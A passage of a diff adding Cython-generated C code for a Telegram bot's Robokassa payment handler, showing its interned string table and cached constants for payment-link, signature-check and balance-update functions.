__pyx_k_F, sizeof(__pyx_k_F), 0, 0, 1, 1}, + {&__pyx_n_s_FSMContext, __pyx_k_FSMContext, sizeof(__pyx_k_FSMContext), 0, 0, 1, 1}, + {&__pyx_kp_u_Generated_payment_link, __pyx_k_Generated_payment_link, sizeof(__pyx_k_Generated_payment_link), 0, 1, 0, 0}, + {&__pyx_kp_u_Generated_payment_link_for_user, __pyx_k_Generated_payment_link_for_user, sizeof(__pyx_k_Generated_payment_link_for_user), 0, 1, 0, 0}, + {&__pyx_kp_u_Generating_payment_link_for_amou, __pyx_k_Generating_payment_link_for_amou, sizeof(__pyx_k_Generating_payment_link_for_amou), 0, 1, 0, 0}, + {&__pyx_n_s_HashAlgorithm, __pyx_k_HashAlgorithm, sizeof(__pyx_k_HashAlgorithm), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardBuilder, __pyx_k_InlineKeyboardBuilder, sizeof(__pyx_k_InlineKeyboardBuilder), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardButton, __pyx_k_InlineKeyboardButton, sizeof(__pyx_k_InlineKeyboardButton), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardMarkup, __pyx_k_InlineKeyboardMarkup, sizeof(__pyx_k_InlineKeyboardMarkup), 0, 0, 1, 1}, + {&__pyx_n_u_InvId, __pyx_k_InvId, sizeof(__pyx_k_InvId), 0, 1, 0, 1}, + {&__pyx_kp_u_InvId_2, __pyx_k_InvId_2, sizeof(__pyx_k_InvId_2), 0, 1, 0, 0}, + {&__pyx_n_u_OK, __pyx_k_OK, sizeof(__pyx_k_OK), 0, 1, 0, 1}, + {&__pyx_n_u_OutSum, __pyx_k_OutSum, sizeof(__pyx_k_OutSum), 0, 1, 0, 1}, + {&__pyx_kp_u_OutSum_2, __pyx_k_OutSum_2, sizeof(__pyx_k_OutSum_2), 0, 1, 0, 0}, + {&__pyx_n_s_PAYMENT_OPTIONS, __pyx_k_PAYMENT_OPTIONS, sizeof(__pyx_k_PAYMENT_OPTIONS), 0, 0, 1, 1}, + {&__pyx_kp_u_Payment_URL_for_user, __pyx_k_Payment_URL_for_user, sizeof(__pyx_k_Payment_URL_for_user), 0, 1, 0, 0}, + {&__pyx_kp_u_Payment_link_sent_to_user, __pyx_k_Payment_link_sent_to_user, sizeof(__pyx_k_Payment_link_sent_to_user), 0, 1, 0, 0}, + {&__pyx_kp_u_Payment_successful_Balance_updat, __pyx_k_Payment_successful_Balance_updat, sizeof(__pyx_k_Payment_successful_Balance_updat), 0, 1, 0, 0}, + {&__pyx_kp_u_Processing_payment_for_user, __pyx_k_Processing_payment_for_user, sizeof(__pyx_k_Processing_payment_for_user), 0, 1, 0, 0}, + {&__pyx_n_s_ROBOKASSA_ENABLE, __pyx_k_ROBOKASSA_ENABLE, sizeof(__pyx_k_ROBOKASSA_ENABLE), 0, 0, 1, 1}, + {&__pyx_n_s_ROBOKASSA_LOGIN, __pyx_k_ROBOKASSA_LOGIN, sizeof(__pyx_k_ROBOKASSA_LOGIN), 0, 0, 1, 1}, + {&__pyx_n_s_ROBOKASSA_PASSWORD1, __pyx_k_ROBOKASSA_PASSWORD1, sizeof(__pyx_k_ROBOKASSA_PASSWORD1), 0, 0, 1, 1}, + {&__pyx_n_s_ROBOKASSA_PASSWORD2, __pyx_k_ROBOKASSA_PASSWORD2, sizeof(__pyx_k_ROBOKASSA_PASSWORD2), 0, 0, 1, 1}, + {&__pyx_n_s_ROBOKASSA_TEST_MODE, __pyx_k_ROBOKASSA_TEST_MODE, sizeof(__pyx_k_ROBOKASSA_TEST_MODE), 0, 0, 1, 1}, + {&__pyx_kp_u_Received_signature, __pyx_k_Received_signature, sizeof(__pyx_k_Received_signature), 0, 1, 0, 0}, + {&__pyx_kp_u_Received_webhook_params, __pyx_k_Received_webhook_params, sizeof(__pyx_k_Received_webhook_params), 0, 1, 0, 0}, + {&__pyx_n_s_ReplenishBalanceState, __pyx_k_ReplenishBalanceState, sizeof(__pyx_k_ReplenishBalanceState), 0, 0, 1, 1}, + {&__pyx_n_s_Response, __pyx_k_Response, sizeof(__pyx_k_Response), 0, 0, 1, 1}, + {&__pyx_n_s_Robokassa, __pyx_k_Robokassa, sizeof(__pyx_k_Robokassa), 0, 0, 1, 1}, + {&__pyx_kp_u_Robokassa_initialized_with_login, __pyx_k_Robokassa_initialized_with_login, sizeof(__pyx_k_Robokassa_initialized_with_login), 0, 1, 0, 0}, + {&__pyx_n_s_Router, __pyx_k_Router, sizeof(__pyx_k_Router), 0, 0, 1, 1}, + {&__pyx_n_u_SignatureValue, __pyx_k_SignatureValue, sizeof(__pyx_k_SignatureValue), 0, 1, 0, 1}, + {&__pyx_kp_u_SignatureValue_2, __pyx_k_SignatureValue_2, sizeof(__pyx_k_SignatureValue_2), 0, 1, 0, 0}, + {&__pyx_kp_u_Signature_string_before_hashing, __pyx_k_Signature_string_before_hashing, sizeof(__pyx_k_Signature_string_before_hashing), 0, 1, 0, 0}, + {&__pyx_n_s_State, __pyx_k_State, sizeof(__pyx_k_State), 0, 0, 1, 1}, + {&__pyx_n_s_StatesGroup, __pyx_k_StatesGroup, sizeof(__pyx_k_StatesGroup), 0, 0, 1, 1}, + {&__pyx_kp_u_User, __pyx_k_User, sizeof(__pyx_k_User), 0, 1, 0, 0}, + {&__pyx_n_s_ValueError, __pyx_k_ValueError, sizeof(__pyx_k_ValueError), 0, 0, 1, 1}, + {&__pyx_kp_u__10, __pyx_k__10, sizeof(__pyx_k__10), 0, 1, 0, 0}, + {&__pyx_kp_u__12, __pyx_k__12, sizeof(__pyx_k__12), 0, 1, 0, 0}, + {&__pyx_kp_u__13, __pyx_k__13, sizeof(__pyx_k__13), 0, 1, 0, 0}, + {&__pyx_kp_u__14, __pyx_k__14, sizeof(__pyx_k__14), 0, 1, 0, 0}, + {&__pyx_kp_u__15, __pyx_k__15, sizeof(__pyx_k__15), 0, 1, 0, 0}, + {&__pyx_kp_u__16, __pyx_k__16, sizeof(__pyx_k__16), 0, 1, 0, 0}, + {&__pyx_n_u__17, __pyx_k__17, sizeof(__pyx_k__17), 0, 1, 0, 1}, + {&__pyx_kp_u__18, __pyx_k__18, sizeof(__pyx_k__18), 0, 1, 0, 0}, + {&__pyx_kp_u__19, __pyx_k__19, sizeof(__pyx_k__19), 0, 1, 0, 0}, + {&__pyx_kp_u__21, __pyx_k__21, sizeof(__pyx_k__21), 0, 1, 0, 0}, + {&__pyx_kp_u__22, __pyx_k__22, sizeof(__pyx_k__22), 0, 1, 0, 0}, + {&__pyx_kp_u__23, __pyx_k__23, sizeof(__pyx_k__23), 0, 1, 0, 0}, + {&__pyx_kp_u__25, __pyx_k__25, sizeof(__pyx_k__25), 0, 1, 0, 0}, + {&__pyx_kp_u__26, __pyx_k__26, sizeof(__pyx_k__26), 0, 1, 0, 0}, + {&__pyx_kp_u__29, __pyx_k__29, sizeof(__pyx_k__29), 0, 1, 0, 0}, + {&__pyx_kp_u__3, __pyx_k__3, sizeof(__pyx_k__3), 0, 1, 0, 0}, + {&__pyx_kp_u__30, __pyx_k__30, sizeof(__pyx_k__30), 0, 1, 0, 0}, + {&__pyx_n_s__31, __pyx_k__31, sizeof(__pyx_k__31), 0, 0, 1, 1}, + {&__pyx_kp_u__4, __pyx_k__4, sizeof(__pyx_k__4), 0, 1, 0, 0}, + {&__pyx_n_s__42, __pyx_k__42, sizeof(__pyx_k__42), 0, 0, 1, 1}, + {&__pyx_kp_u__5, __pyx_k__5, sizeof(__pyx_k__5), 0, 1, 0, 0}, + {&__pyx_kp_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 0}, + {&__pyx_kp_u__8, __pyx_k__8, sizeof(__pyx_k__8), 0, 1, 0, 0}, + {&__pyx_kp_u__9, __pyx_k__9, sizeof(__pyx_k__9), 0, 1, 0, 0}, + {&__pyx_n_s_add_connection, __pyx_k_add_connection, sizeof(__pyx_k_add_connection), 0, 0, 1, 1}, + {&__pyx_n_s_add_payment, __pyx_k_add_payment, sizeof(__pyx_k_add_payment), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram, __pyx_k_aiogram, sizeof(__pyx_k_aiogram), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_context, __pyx_k_aiogram_fsm_context, sizeof(__pyx_k_aiogram_fsm_context), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_state, __pyx_k_aiogram_fsm_state, sizeof(__pyx_k_aiogram_fsm_state), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_types, __pyx_k_aiogram_types, sizeof(__pyx_k_aiogram_types), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_utils_keyboard, __pyx_k_aiogram_utils_keyboard, sizeof(__pyx_k_aiogram_utils_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_aiohttp, __pyx_k_aiohttp, sizeof(__pyx_k_aiohttp), 0, 0, 1, 1}, + {&__pyx_n_s_algorithm, __pyx_k_algorithm, sizeof(__pyx_k_algorithm), 0, 0, 1, 1}, + {&__pyx_n_s_amount, __pyx_k_amount, sizeof(__pyx_k_amount), 0, 0, 1, 1}, + {&__pyx_n_u_amount, __pyx_k_amount, sizeof(__pyx_k_amount), 0, 1, 0, 1}, + {&__pyx_n_s_amount_str, __pyx_k_amount_str, sizeof(__pyx_k_amount_str), 0, 0, 1, 1}, + {&__pyx_n_s_answer, __pyx_k_answer, sizeof(__pyx_k_answer), 0, 0, 1, 1}, + {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1}, + {&__pyx_n_s_as_markup, __pyx_k_as_markup, sizeof(__pyx_k_as_markup), 0, 0, 1, 1}, + {&__pyx_n_s_asyncio_coroutines, __pyx_k_asyncio_coroutines, sizeof(__pyx_k_asyncio_coroutines), 0, 0, 1, 1}, + {&__pyx_n_s_await, __pyx_k_await, sizeof(__pyx_k_await), 0, 0, 1, 1}, + {&__pyx_n_s_balance, __pyx_k_balance, sizeof(__pyx_k_balance), 0, 0, 1, 1}, + {&__pyx_n_s_builder, __pyx_k_builder, sizeof(__pyx_k_builder), 0, 0, 1, 1}, + {&__pyx_n_s_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 0, 1, 1}, + {&__pyx_n_u_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 1, 0, 1}, + {&__pyx_kp_u_callback_data_2, __pyx_k_callback_data_2, sizeof(__pyx_k_callback_data_2), 0, 1, 0, 0}, + {&__pyx_kp_u_callback_data_3, __pyx_k_callback_data_3, sizeof(__pyx_k_callback_data_3), 0, 1, 0, 0}, + {&__pyx_n_s_callback_query, __pyx_k_callback_query, sizeof(__pyx_k_callback_query), 0, 0, 1, 1}, + {&__pyx_n_s_chat, __pyx_k_chat, sizeof(__pyx_k_chat), 0, 0, 1, 1}, + {&__pyx_n_s_check_connection_exists, __pyx_k_check_connection_exists, sizeof(__pyx_k_check_connection_exists), 0, 0, 1, 1}, + {&__pyx_n_s_check_payment_signature, __pyx_k_check_payment_signature, sizeof(__pyx_k_check_payment_signature), 0, 0, 1, 1}, + {&__pyx_n_s_choosing_amount_robokassa, __pyx_k_choosing_amount_robokassa, sizeof(__pyx_k_choosing_amount_robokassa), 0, 0, 1, 1}, + {&__pyx_kp_u_chose_to_enter_a_custom_amount, __pyx_k_chose_to_enter_a_custom_amount, sizeof(__pyx_k_chose_to_enter_a_custom_amount), 0, 1, 0, 0}, + {&__pyx_n_s_class_getitem, __pyx_k_class_getitem, sizeof(__pyx_k_class_getitem), 0, 0, 1, 1}, + {&__pyx_n_s_clear, __pyx_k_clear, sizeof(__pyx_k_clear), 0, 0, 1, 1}, + {&__pyx_n_s_cline_in_traceback, __pyx_k_cline_in_traceback, sizeof(__pyx_k_cline_in_traceback), 0, 0, 1, 1}, + {&__pyx_n_s_close, __pyx_k_close, sizeof(__pyx_k_close), 0, 0, 1, 1}, + {&__pyx_n_s_config, __pyx_k_config, sizeof(__pyx_k_config), 0, 0, 1, 1}, + {&__pyx_n_s_confirm_keyboard, __pyx_k_confirm_keyboard, sizeof(__pyx_k_confirm_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_data, __pyx_k_data, sizeof(__pyx_k_data), 0, 0, 1, 1}, + {&__pyx_n_s_database, __pyx_k_database, sizeof(__pyx_k_database), 0, 0, 1, 1}, + {&__pyx_n_s_debug, __pyx_k_debug, sizeof(__pyx_k_debug), 0, 0, 1, 1}, + {&__pyx_n_s_description, __pyx_k_description, sizeof(__pyx_k_description), 0, 0, 1, 1}, + {&__pyx_kp_u_description_2, __pyx_k_description_2, sizeof(__pyx_k_description_2), 0, 1, 0, 0}, + {&__pyx_n_s_dict, __pyx_k_dict, sizeof(__pyx_k_dict), 0, 0, 1, 1}, + {&__pyx_kp_u_disable, __pyx_k_disable, sizeof(__pyx_k_disable), 0, 1, 0, 0}, + {&__pyx_n_s_doc, __pyx_k_doc, sizeof(__pyx_k_doc), 0, 0, 1, 1}, + {&__pyx_n_s_e, __pyx_k_e, sizeof(__pyx_k_e), 0, 0, 1, 1}, + {&__pyx_kp_u_enable, __pyx_k_enable, sizeof(__pyx_k_enable), 0, 1, 0, 0}, + {&__pyx_n_u_enter_custom_amount_robokassa, __pyx_k_enter_custom_amount_robokassa, sizeof(__pyx_k_enter_custom_amount_robokassa), 0, 1, 0, 1}, + {&__pyx_kp_u_entered_custom_amount, __pyx_k_entered_custom_amount, sizeof(__pyx_k_entered_custom_amount), 0, 1, 0, 0}, + {&__pyx_n_s_error, __pyx_k_error, sizeof(__pyx_k_error), 0, 0, 1, 1}, + {&__pyx_n_s_exists, __pyx_k_exists, sizeof(__pyx_k_exists), 0, 0, 1, 1}, + {&__pyx_n_s_expected_signature, __pyx_k_expected_signature, sizeof(__pyx_k_expected_signature), 0, 0, 1, 1}, + {&__pyx_kp_u_gc, __pyx_k_gc, sizeof(__pyx_k_gc), 0, 1, 0, 0}, + {&__pyx_n_s_generate_by_script, __pyx_k_generate_by_script, sizeof(__pyx_k_generate_by_script), 0, 0, 1, 1}, + {&__pyx_n_s_generate_payment_link, __pyx_k_generate_payment_link, sizeof(__pyx_k_generate_payment_link), 0, 0, 1, 1}, + {&__pyx_n_s_get, __pyx_k_get, sizeof(__pyx_k_get), 0, 0, 1, 1}, + {&__pyx_n_s_get_key_count, __pyx_k_get_key_count, sizeof(__pyx_k_get_key_count), 0, 0, 1, 1}, + {&__pyx_n_s_handle_custom_amount_input, __pyx_k_handle_custom_amount_input, sizeof(__pyx_k_handle_custom_amount_input), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_robokassa_pay, __pyx_k_handlers_payments_robokassa_pay, sizeof(__pyx_k_handlers_payments_robokassa_pay), 0, 0, 1, 1}, + {&__pyx_kp_s_handlers_payments_robokassa_pay_2, __pyx_k_handlers_payments_robokassa_pay_2, sizeof(__pyx_k_handlers_payments_robokassa_pay_2), 0, 0, 1, 0}, + {&__pyx_n_s_handlers_payments_utils, __pyx_k_handlers_payments_utils, sizeof(__pyx_k_handlers_payments_utils), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_texts, __pyx_k_handlers_texts, sizeof(__pyx_k_handlers_texts), 0, 0, 1, 1}, + {&__pyx_n_s_hashlib, __pyx_k_hashlib, sizeof(__pyx_k_hashlib), 0, 0, 1, 1}, + {&__pyx_n_s_hexdigest, __pyx_k_hexdigest, sizeof(__pyx_k_hexdigest), 0, 0, 1, 1}, + {&__pyx_n_s_i, __pyx_k_i, sizeof(__pyx_k_i), 0, 0, 1, 1}, + {&__pyx_n_s_id, __pyx_k_id, sizeof(__pyx_k_id), 0, 0, 1, 1}, + {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, + {&__pyx_n_s_info, __pyx_k_info, sizeof(__pyx_k_info), 0, 0, 1, 1}, + {&__pyx_n_s_init_subclass, __pyx_k_init_subclass, sizeof(__pyx_k_init_subclass), 0, 0, 1, 1}, + {&__pyx_n_s_initializing, __pyx_k_initializing, sizeof(__pyx_k_initializing), 0, 0, 1, 1}, + {&__pyx_kp_u_initiated_Robokassa_payment, __pyx_k_initiated_Robokassa_payment, sizeof(__pyx_k_initiated_Robokassa_payment), 0, 1, 0, 0}, + {&__pyx_n_s_inline_keyboard, __pyx_k_inline_keyboard, sizeof(__pyx_k_inline_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_inv_id, __pyx_k_inv_id, sizeof(__pyx_k_inv_id), 0, 0, 1, 1}, + {&__pyx_kp_u_inv_id_2, __pyx_k_inv_id_2, sizeof(__pyx_k_inv_id_2), 0, 1, 0, 0}, + {&__pyx_n_s_is_coroutine, __pyx_k_is_coroutine, sizeof(__pyx_k_is_coroutine), 0, 0, 1, 1}, + {&__pyx_n_s_is_test, __pyx_k_is_test, sizeof(__pyx_k_is_test), 0, 0, 1, 1}, + {&__pyx_kp_u_isenabled, __pyx_k_isenabled, sizeof(__pyx_k_isenabled), 0, 1, 0, 0}, + {&__pyx_n_s_key_count, __pyx_k_key_count, sizeof(__pyx_k_key_count), 0, 0, 1, 1}, + {&__pyx_n_s_link, __pyx_k_link, sizeof(__pyx_k_link), 0, 0, 1, 1}, + {&__pyx_n_s_logger, __pyx_k_logger, sizeof(__pyx_k_logger), 0, 0, 1, 1}, + {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, + {&__pyx_n_s_md5, __pyx_k_md5, sizeof(__pyx_k_md5), 0, 0, 1, 1}, + {&__pyx_n_s_merchant_login, __pyx_k_merchant_login, sizeof(__pyx_k_merchant_login), 0, 0, 1, 1}, + {&__pyx_n_s_message, __pyx_k_message, sizeof(__pyx_k_message), 0, 0, 1, 1}, + {&__pyx_n_s_metaclass, __pyx_k_metaclass, sizeof(__pyx_k_metaclass), 0, 0, 1, 1}, + {&__pyx_n_s_module, __pyx_k_module, sizeof(__pyx_k_module), 0, 0, 1, 1}, + {&__pyx_n_s_mro_entries, __pyx_k_mro_entries, sizeof(__pyx_k_mro_entries), 0, 0, 1, 1}, + {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1}, + {&__pyx_n_s_out_sum, __pyx_k_out_sum, sizeof(__pyx_k_out_sum), 0, 0, 1, 1}, + {&__pyx_n_s_params, __pyx_k_params, sizeof(__pyx_k_params), 0, 0, 1, 1}, + {&__pyx_n_s_password1, __pyx_k_password1, sizeof(__pyx_k_password1), 0, 0, 1, 1}, + {&__pyx_n_s_password2, __pyx_k_password2, sizeof(__pyx_k_password2), 0, 0, 1, 1}, + {&__pyx_n_u_pay, __pyx_k_pay, sizeof(__pyx_k_pay), 0, 1, 0, 1}, + {&__pyx_n_u_pay_robokassa, __pyx_k_pay_robokassa, sizeof(__pyx_k_pay_robokassa), 0, 1, 0, 1}, + {&__pyx_n_s_payment, __pyx_k_payment, sizeof(__pyx_k_payment), 0, 0, 1, 1}, + {&__pyx_n_s_payment_link, __pyx_k_payment_link, sizeof(__pyx_k_payment_link), 0, 0, 1, 1}, + {&__pyx_n_s_payment_url, __pyx_k_payment_url, sizeof(__pyx_k_payment_url), 0, 0, 1, 1}, + {&__pyx_n_s_post, __pyx_k_post, sizeof(__pyx_k_post), 0, 0, 1, 1}, + {&__pyx_n_s_prepare, __pyx_k_prepare, sizeof(__pyx_k_prepare), 0, 0, 1, 1}, + {&__pyx_n_s_process_amount_selection, __pyx_k_process_amount_selection, sizeof(__pyx_k_process_amount_selection), 0, 0, 1, 1}, + {&__pyx_n_s_process_callback_pay_robokassa, __pyx_k_process_callback_pay_robokassa, sizeof(__pyx_k_process_callback_pay_robokassa), 0, 0, 1, 1}, + {&__pyx_n_s_process_custom_amount_selection, __pyx_k_process_custom_amount_selection, sizeof(__pyx_k_process_custom_amount_selection), 0, 0, 1, 1}, + {&__pyx_n_s_qualname, __pyx_k_qualname, sizeof(__pyx_k_qualname), 0, 0, 1, 1}, + {&__pyx_n_s_range, __pyx_k_range, sizeof(__pyx_k_range), 0, 0, 1, 1}, + {&__pyx_n_s_reply_markup, __pyx_k_reply_markup, sizeof(__pyx_k_reply_markup), 0, 0, 1, 1}, + {&__pyx_n_s_request, __pyx_k_request, sizeof(__pyx_k_request), 0, 0, 1, 1}, + {&__pyx_n_s_robokassa, __pyx_k_robokassa, sizeof(__pyx_k_robokassa), 0, 0, 1, 1}, + {&__pyx_n_u_robokassa, __pyx_k_robokassa, sizeof(__pyx_k_robokassa), 0, 1, 0, 1}, + {&__pyx_kp_u_robokassa_amount, __pyx_k_robokassa_amount, sizeof(__pyx_k_robokassa_amount), 0, 1, 0, 0}, + {&__pyx_n_s_robokassa_webhook, __pyx_k_robokassa_webhook, sizeof(__pyx_k_robokassa_webhook), 0, 0, 1, 1}, + {&__pyx_n_s_router, __pyx_k_router, sizeof(__pyx_k_router), 0, 0, 1, 1}, + {&__pyx_n_s_row, __pyx_k_row, sizeof(__pyx_k_row), 0, 0, 1, 1}, + {&__pyx_kp_u_selected_amount, __pyx_k_selected_amount, sizeof(__pyx_k_selected_amount), 0, 1, 0, 0}, + {&__pyx_n_s_send, __pyx_k_send, sizeof(__pyx_k_send), 0, 0, 1, 1}, + {&__pyx_n_s_send_payment_success_notificatio, __pyx_k_send_payment_success_notificatio, sizeof(__pyx_k_send_payment_success_notificatio), 0, 0, 1, 1}, + {&__pyx_n_s_session, __pyx_k_session, sizeof(__pyx_k_session), 0, 0, 1, 1}, + {&__pyx_n_s_set_name, __pyx_k_set_name, sizeof(__pyx_k_set_name), 0, 0, 1, 1}, + {&__pyx_n_s_set_state, __pyx_k_set_state, sizeof(__pyx_k_set_state), 0, 0, 1, 1}, + {&__pyx_n_s_shp_id, __pyx_k_shp_id, sizeof(__pyx_k_shp_id), 0, 0, 1, 1}, + {&__pyx_n_u_shp_id, __pyx_k_shp_id, sizeof(__pyx_k_shp_id), 0, 1, 0, 1}, + {&__pyx_kp_u_shp_id_2, __pyx_k_shp_id_2, sizeof(__pyx_k_shp_id_2), 0, 1, 0, 0}, + {&__pyx_kp_u_shp_id_3, __pyx_k_shp_id_3, sizeof(__pyx_k_shp_id_3), 0, 1, 0, 0}, + {&__pyx_n_s_signature_string, __pyx_k_signature_string, sizeof(__pyx_k_signature_string), 0, 0, 1, 1}, + {&__pyx_n_s_signature_value, __pyx_k_signature_value, sizeof(__pyx_k_signature_value), 0, 0, 1, 1}, + {&__pyx_n_s_spec, __pyx_k_spec, sizeof(__pyx_k_spec), 0, 0, 1, 1}, + {&__pyx_n_s_split, __pyx_k_split, sizeof(__pyx_k_split), 0, 0, 1, 1}, + {&__pyx_n_s_startswith, __pyx_k_startswith, sizeof(__pyx_k_startswith), 0, 0, 1, 1}, + {&__pyx_n_s_state, __pyx_k_state, sizeof(__pyx_k_state), 0, 0, 1, 1}, + {&__pyx_n_s_status, __pyx_k_status, sizeof(__pyx_k_status), 0, 0, 1, 1}, + {&__pyx_n_s_super, __pyx_k_super, sizeof(__pyx_k_super), 0, 0, 1, 1}, + {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, + {&__pyx_n_s_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 0, 1, 1}, + {&__pyx_n_u_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 1, 0, 1}, + {&__pyx_n_s_tg_id, __pyx_k_tg_id, sizeof(__pyx_k_tg_id), 0, 0, 1, 1}, + {&__pyx_n_s_throw, __pyx_k_throw, sizeof(__pyx_k_throw), 0, 0, 1, 1}, + {&__pyx_n_s_trial, __pyx_k_trial, sizeof(__pyx_k_trial), 0, 0, 1, 1}, + {&__pyx_n_s_types, __pyx_k_types, sizeof(__pyx_k_types), 0, 0, 1, 1}, + {&__pyx_kp_s_types_CallbackQuery, __pyx_k_types_CallbackQuery, sizeof(__pyx_k_types_CallbackQuery), 0, 0, 1, 0}, + {&__pyx_kp_s_types_Message, __pyx_k_types_Message, sizeof(__pyx_k_types_Message), 0, 0, 1, 0}, + {&__pyx_n_s_typing, __pyx_k_typing, sizeof(__pyx_k_typing), 0, 0, 1, 1}, + {&__pyx_n_s_update_balance, __pyx_k_update_balance, sizeof(__pyx_k_update_balance), 0, 0, 1, 1}, + {&__pyx_n_s_update_data, __pyx_k_update_data, sizeof(__pyx_k_update_data), 0, 0, 1, 1}, + {&__pyx_n_s_upper, __pyx_k_upper, sizeof(__pyx_k_upper), 0, 0, 1, 1}, + {&__pyx_n_s_url, __pyx_k_url, sizeof(__pyx_k_url), 0, 0, 1, 1}, + {&__pyx_n_s_waiting_for_payment_confirmation, __pyx_k_waiting_for_payment_confirmation, sizeof(__pyx_k_waiting_for_payment_confirmation), 0, 0, 1, 1}, + {&__pyx_n_s_web, __pyx_k_web, sizeof(__pyx_k_web), 0, 0, 1, 1}, + {&__pyx_kp_u_with_amount, __pyx_k_with_amount, sizeof(__pyx_k_with_amount), 0, 1, 0, 0}, + {&__pyx_kp_u_with_balance_0_0, __pyx_k_with_balance_0_0, sizeof(__pyx_k_with_balance_0_0), 0, 1, 0, 0}, + {0, 0, 0, 0, 0, 0, 0} + }; + return __Pyx_InitStrings(__pyx_string_tab); +} +/* #### Code section: cached_builtins ### */ +static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { + __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 73, __pyx_L1_error) + __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 132, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: cached_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); + + /* "handlers/payments/robokassa_pay.py":132 + * amount = int(amount_str) + * if amount <= 0: + * raise ValueError(" .") # <<<<<<<<<<<<<< + * except ValueError as e: + * logger.error(f" : {amount_str}. : {e}") + */ + __pyx_tuple__11 = PyTuple_Pack(1, __pyx_kp_u__10); if (unlikely(!__pyx_tuple__11)) __PYX_ERR(0, 132, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__11); + __Pyx_GIVEREF(__pyx_tuple__11); + + /* "handlers/payments/robokassa_pay.py":234 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_robokassa")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_tuple__27 = PyTuple_Pack(1, __pyx_kp_u__26); if (unlikely(!__pyx_tuple__27)) __PYX_ERR(0, 234, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__27); + __Pyx_GIVEREF(__pyx_tuple__27); + + /* "handlers/payments/robokassa_pay.py":50 + * + * + * def generate_payment_link(amount, inv_id, description, tg_id): # <<<<<<<<<<<<<< + * """ .""" + * logger.debug( + */ + __pyx_tuple__32 = PyTuple_Pack(5, __pyx_n_s_amount, __pyx_n_s_inv_id, __pyx_n_s_description, __pyx_n_s_tg_id, __pyx_n_s_payment_link); if (unlikely(!__pyx_tuple__32)) __PYX_ERR(0, 50, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__32); + __Pyx_GIVEREF(__pyx_tuple__32); + __pyx_codeobj__33 = (PyObject*)__Pyx_PyCode_New(4, 0, 0, 5, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__32, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_robokassa_pay_2, __pyx_n_s_generate_payment_link, 50, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__33)) __PYX_ERR(0, 50, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":65 + * + * + * @router.callback_query(F.data == "pay_robokassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_robokassa( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + __pyx_tuple__34 = PyTuple_Pack(8, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_tg_id, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists); if (unlikely(!__pyx_tuple__34)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__34); + __Pyx_GIVEREF(__pyx_tuple__34); + __pyx_codeobj__2 = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 8, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__34, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_robokassa_pay_2, __pyx_n_s_process_callback_pay_robokassa, 65, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__2)) __PYX_ERR(0, 65, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":116 + * + * + * @router.callback_query(F.data.startswith("robokassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__35 = PyTuple_Pack(1, __pyx_kp_u_robokassa_amount); if (unlikely(!__pyx_tuple__35)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__35); + __Pyx_GIVEREF(__pyx_tuple__35); + __pyx_tuple__36 = PyTuple_Pack(10, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_amount_str, __pyx_n_s_amount, 